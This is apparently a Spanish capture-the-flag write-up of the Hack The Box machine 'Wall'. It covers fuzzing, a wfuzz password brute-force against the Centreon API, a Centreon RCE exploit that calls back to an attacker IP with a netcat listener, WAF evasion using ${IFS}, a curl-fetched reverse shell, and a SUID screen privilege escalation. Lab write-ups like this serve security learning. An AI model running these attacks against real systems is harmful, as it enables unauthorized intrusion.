HTB-Wall

IP -> 10.10.10.157

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados.

Wall Nmap Result

http

whatweb

Utilizamos la herramienta whatweb para enumerar información del servicio http. Pero no obtenemos información relevante.

http-enum

Mediante el script http-enum fuzzeamos el servicio web.

Fuzzing

Fuzzeamos el servicio http con herramientas como wfuzz o gobuster. Y obtenemos los siguientes resultados.

monitoring -> 401 -> Probamos credenciales por defecto.

Pero no conseguimos nada.

curl

  • Cambiamos tipo de petición a POST
curl -s -X POST "http://10.10.10.157/monitoring -L

Descubrimos una ruta nueva

/centreon

Browser

Panel de inicio de sesión. “Centreon”. Buscamos “Centreon default password” pero las credenciales que encontramos no sirven. Podemos buscar a ver si tiene una API, para realizar pruebas. Encontramos una api

/centreon/api/index.php

Realizamos un ataque de fuerza bruta sobre la api con wfuzz

wfuzz bruteforce

wfuzz -c -t 200 --hc=404 --hh=17 -w /usr/share/seclists/darkweb2017-top10000.txt -d 'username=admin&password=FUZZ' "http://10.10.10.157/centreon/api/index.php?action=authenticate"

USER:: admin PASS: password1

Browser

Iniciamos sesión con las credenciales válidas en /centreon

Vamos al panel de about para ver que vesión es.

Version: 19.04

Con searchsploit vemos que tiene una vulnerabilidad de RCE.

Exploitation

python centreon.py 'http://10.10.10.157/centreon' admin password1 10.10.14.13 443 2>/dev/null

Nos ponemos en escucha con nc.

nc -nlvp 443

Pero en un primer momento no funciona.

  • Analizamos el script.

Vemos una ruta, en la que crea un “poller” y la inyección la realiza en el campo “nagios_bin”. Que es el campo “Monitoring Engine Binary”.

  • Realizamos el proceso manualmente.

Nos devuelve un 403 Forbidden. Puede que halla un WAF.

  • Modificamos el script para que funcione como un RCE, cada uso.
  • Probamos diferentes payloads, y nos damos cuenta que el ‘ ‘ no le gusta.

[ ! ] En bash el ‘ ‘ también se puede poner como ‘${IFS}’

  • Nos funciona.
  • Nos enviamos una reverse shell “sin usar espacios” (con un index.html y jugando con pipes y curl)

Recibimos el GET pero no la reverse shell

  • Dividimos el comando en 2, primero descargando el archivo a una ruta y después ejecutándolo con bash.

Tenemos reverse shell.

PrivEsc

OS

cd /home
ls
cd shelby
ls
cat user.txt

No podemos leer el user.txt Vemos un html.zip

Vamos a traernos el html.zip para analizarlo en nuestra máquina.

7z x html.zip
cd html
grep -r -i "pass"

Pero no encontramos nada.

  • Seguimos analizando la máquina víctima.
id
cd / 
find \-perm -4000 2>/dev/null

screen-4.5.0 es SUID, y es vulnerable a privilege escalation.

Con searchploit descargamos es script en bash, lo subimos a la máquina víctima ya que cuenta con gcc. Lo ejecutamos y somos root.

cat /home/shelby/user.txt
cat /root/root.txt

user.txt root.txt


Escrito el 28-12-2021 a las 07:42 pm por creep33.

Tags:

Categories:

Updated: